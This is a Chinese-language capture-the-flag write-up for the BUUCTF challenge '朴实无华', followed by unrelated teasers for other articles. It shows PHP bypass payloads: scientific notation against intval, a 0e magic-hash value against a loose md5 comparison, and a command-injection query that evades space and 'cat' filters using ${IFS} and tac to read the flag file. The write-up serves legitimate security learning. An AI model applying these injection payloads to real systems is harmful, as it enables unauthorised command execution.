buuctf-[WUSTCTF2020]朴实无华

news2024/11/24 18:49:39

打开环境就这么一句话

先打开index.php,但是没有什么

 

查看了下网络

看到gzip和php

我试了试www.zip

还有index.phps,也是一样的,都没找到文件

于是我想到用御剑扫,但是我好像线程太长了,一个没扫到,我就想到用dirsearch

扫到robots.txt了

访问

再访问,得到一个假的flag

想到用bp抓包了

Look_at_me: /fl4g.php 

访问一下,发现都是乱码

搜索了一下火狐浏览器页面乱码怎么办

参考如何修复火狐浏览器的乱码问题(最新版)_火狐浏览器乱码_小宇特详解的博客-CSDN博客

找到修复文字编码

修复后正常了,这题怎么这么繁杂

 

从level1开始研究

//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧"); 

php真的忘得差不多了

先去搜了搜这个函数

这个函数可以通过科学计数法来绕过

1e10 会被识别为1但是

1e10+1后就会恢复原本 

所以传入

?num=1e10

绕过成功

 

再看level2

//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
} 

 ==是弱类型比较,上网搜了下

https://www.cnblogs.com/dre0m1/p/16062369.html

所以传入md5=0e215962017

成功绕过

再看level3

if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>

先看看函数

过滤了空格和cat,这里用的${IFS}。

查看一下目录

?num=1e10&md5=0e215962017&get_flag=ls

然后cat用tac,做完感觉确实不难。

?num=1e10&md5=0e215962017&get_flag=tac${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1022749.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

阿里云ACE认证的含金量高吗?如何通过ACE认证考试?

在当今的社会中&#xff0c;想要获得一份好工作、得到丰厚的报酬&#xff0c;唯一的方法就是证明自己优秀&#xff0c;能给公司创造价值&#xff0c;是大多数公司想要看到的。 那么在面试过程中&#xff0c;怎么样才能让面试官一眼就记住呢&#xff1f;那一定是有一份足够优秀…

c语言基础知识+OS+数据结构

c语言&#xff1a; memory section&#xff1a; .bss .data .text C语言编译流程&#xff1a; pre-compiler: compiler: 检查语法问题 link: 将symbol转化为实际函数/变量地址&#xff0c;map file里面可以看到 预编译在做什么&#xff1a; &#xff08;#define&#x…

Unity3D C# 反射与特性的配合使用

需求分析 情况&#xff1a; 假如我们是一个动物园的管理员&#xff0c;我们需要统计园内的所有动物和动物的行为。 举例&#xff1a; 现在园区内有猫、狗和鸡。猫对应的行为是喵喵喵和卖萌&#xff0c;狗对应狗吠和干饭&#xff0c;鸡对应篮球和打鸣那么这时候我要统计这些&a…

【开发】视频监控系统/视频汇聚平台EasyCVR平台页面展示优化

安防视频监控/视频集中存储/云存储/磁盘阵列EasyCVR平台可拓展性强、视频能力灵活、部署轻快&#xff0c;可支持的主流标准协议有国标GB28181、RTSP/Onvif、RTMP等&#xff0c;以及支持厂家私有协议与SDK接入&#xff0c;包括海康Ehome、海大宇等设备的SDK等。平台既具备传统安…

怎么绘制骑鹅旅行记思维导图?教你这样绘制

怎么绘制骑鹅旅行记思维导图&#xff1f;骑鹅旅行记是一本经典的童话故事&#xff0c;绘制这个故事的思维导图可以帮助我们更好地理解故事情节和角色关系。那么今天就给大家介绍一种快速且简便的方法来绘制思维导图。 我们可以使用【迅捷画图】来进行制作&#xff0c;这是一种功…

深度学习笔记之优化算法(一)铺垫:梯度下降法VS最速下降法

深度学习笔记之优化算法——铺垫&#xff1a;梯度下降法VS最速下降法 引言回顾&#xff1a;条件数范数 相关描述关于梯度下降法最速下降法单位范数的描述 梯度下降法VS最速下降法梯度下降法等价于最速下降法的情况欧式范数约束产生的更新方向可能不是最优方向梯度下降法与最速下…

RayViz 一款服务于SolidWorks用于光学和机械设计的有效工具

RayViz 作为 SolidWorks 的一个扩展插件&#xff0c;不仅可以在 SolidWorks 工作环境中直接定义和保存模型光学属性&#xff0c; 而且还可以在该 CAD 工作环境中直接进行光线追迹。通过 RayViz, 把 TracePro 和 Solidworks 链接了起来&#xff0c; 一个模型可以在 TracePro 中用…

14.抽象工厂模式

UML 代码 #include <iostream> #include <list> using namespace std;class AbstractProductA { public:virtual void showa() 0; }; class ProductA1:public AbstractProductA { public:virtual void showa(){cout << "我是A1" << endl;}…

OpenHarmony Meetup常州站招募令

OpenHarmony Meetup 常州站正火热招募中&#xff01; 诚邀充满激情的开发者参与线下盛会~ 探索OpenHarmony前沿科技&#xff0c;畅谈未来前景&#xff0c; 感受OpenHarmony生态构建之路的魅力&#xff01; 线下参与&#xff0c;名额有限&#xff0c;仅限20位幸运者&#xff01…

【c++_containers】string的模拟实现

前言 在学习数据结构时&#xff0c;如何证明自己彻底掌握了一个容器的各种特性&#xff1f;最直接的办法就是自己写一个。下面我们将围绕下图展开对与string的深度了解&#xff1a; 一.string的成员变量 string是表示字符序列的对象&#xff0c;同时增加了专门用于操作单字节字…

2023Node.js零基础教程(小白友好型),nodejs新手到高手,(一)NodeJS入门

写在开始前 在无尽的代码汪洪中&#xff0c;闪耀着一抹绚丽的光芒。它叫做Web前端开发&#xff01; HTML是我们的魔法笔&#xff0c;是创造力的源泉。它将我们的思绪化为标签&#xff0c;将我们的想象变为元素。 在无尽的标签组合中&#xff0c;我们创造出独特的网页&#xff…

分享:大模型定向培养学徒来啦

模型定向培养学徒招募对象&#xff1a; 1.在读研究生学硕专硕均可 2.大数据、人工智能、统计学计算机、软件、数学等相关研究方向 3.具备Python编程基础机器学习基础 4.有深度学习自然语言处理基础优先 大模型定向培养学徒目标&#xff1a; 1.培养大模型prompt能力&#…

位图(bitmap)原理以及实现

大家好&#xff0c;我是蓝胖子&#xff0c;我一直相信编程是一门实践性的技术&#xff0c;其中算法也不例外&#xff0c;初学者可能往往对它可望而不可及&#xff0c;觉得很难&#xff0c;学了又忘&#xff0c;忘其实是由于没有真正搞懂算法的应用场景&#xff0c;所以我准备出…

Linux搭建Apache(秒懂超详细)

♥️作者&#xff1a;小刘在C站 ♥️个人主页&#xff1a; 小刘主页 ♥️努力不一定有回报&#xff0c;但一定会有收获加油&#xff01;一起努力&#xff0c;共赴美好人生&#xff01; ♥️学习两年总结出的运维经验&#xff0c;以及思科模拟器全套网络实验教程。专栏&#xf…

C++ Primer (第五版)第一章习题部分答案

在我自学C过程中&#xff0c;我选择了CPrimer这本书&#xff0c;并对部分代码习题进行了求解以及运行结果。接下来几个月我将为大家定时按章节更新习题答案与运行结果: 目录 1.9编写程序,使用while循环将50到100的整数相加 1.10 除了运算符将运算对象的值增加1之外,还有一个…

leetcode522. 最长特殊序列 II(java)

最长特殊序列 题目描述枚举法代码演示 题目描述 难度 - 中等 leetcode522. 最长特殊序列 II 给定字符串列表 strs &#xff0c;返回其中 最长的特殊序列 的长度。如果最长特殊序列不存在&#xff0c;返回 -1 。 特殊序列 定义如下&#xff1a;该序列为某字符串 独有的子序列&a…

【STM32】IWDG—独立看门狗

基于stm32f103 基于《零死角玩转STM32—F103指南者》 一个12bit的递减计数器 STM32 有两个看门狗&#xff0c;一个是独立看门狗另外一个是窗口看门狗&#xff0c;独立看门狗号称宠物狗&#xff0c;窗口看门狗号称警犬。 独立看门狗是一个 12 位的递减计数器&#xff0c;当计…

数字孪生:助力机载软件构型管理

飞机机载软件具有研发周期长、版本更新频繁、相关工程资料密集等特性。由于各个系统的软件分别由不同供应商开发&#xff0c;其设计保障等级、设计架构、实现方法等方面都各有不同&#xff0c;对机载软件进行高效、规范的构型管理显得尤为重要。 Q&#xff1a;什么是构型管理&…

【张兔兔送书第一期:考研必备书单】

考研书单必备 《数据结构与算法分析》《计算机网络&#xff1a;自顶向下方法》《现代操作系统》《深入理解计算机系统》《概率论基础教程&#xff08;原书第10版》《线性代数&#xff08;原书第10版&#xff09;》《线性代数及其应用》赠书活动 八九月的朋友圈刮起了一股晒通知…

Idea新建项目配置Java3D 环境配置

&#xff08;一&#xff09;JDK配置 安装包的下载&#xff1a;1.可以去官网&#xff1a;JDK下载&#xff0c;进入官网页面Java Downloads | Oracle&#xff0c;然后点击Download Java。2.搜博客&#xff0c;可能会内含安装包链接。 ​ 2.在这个界面可以选择我们要安装的版本…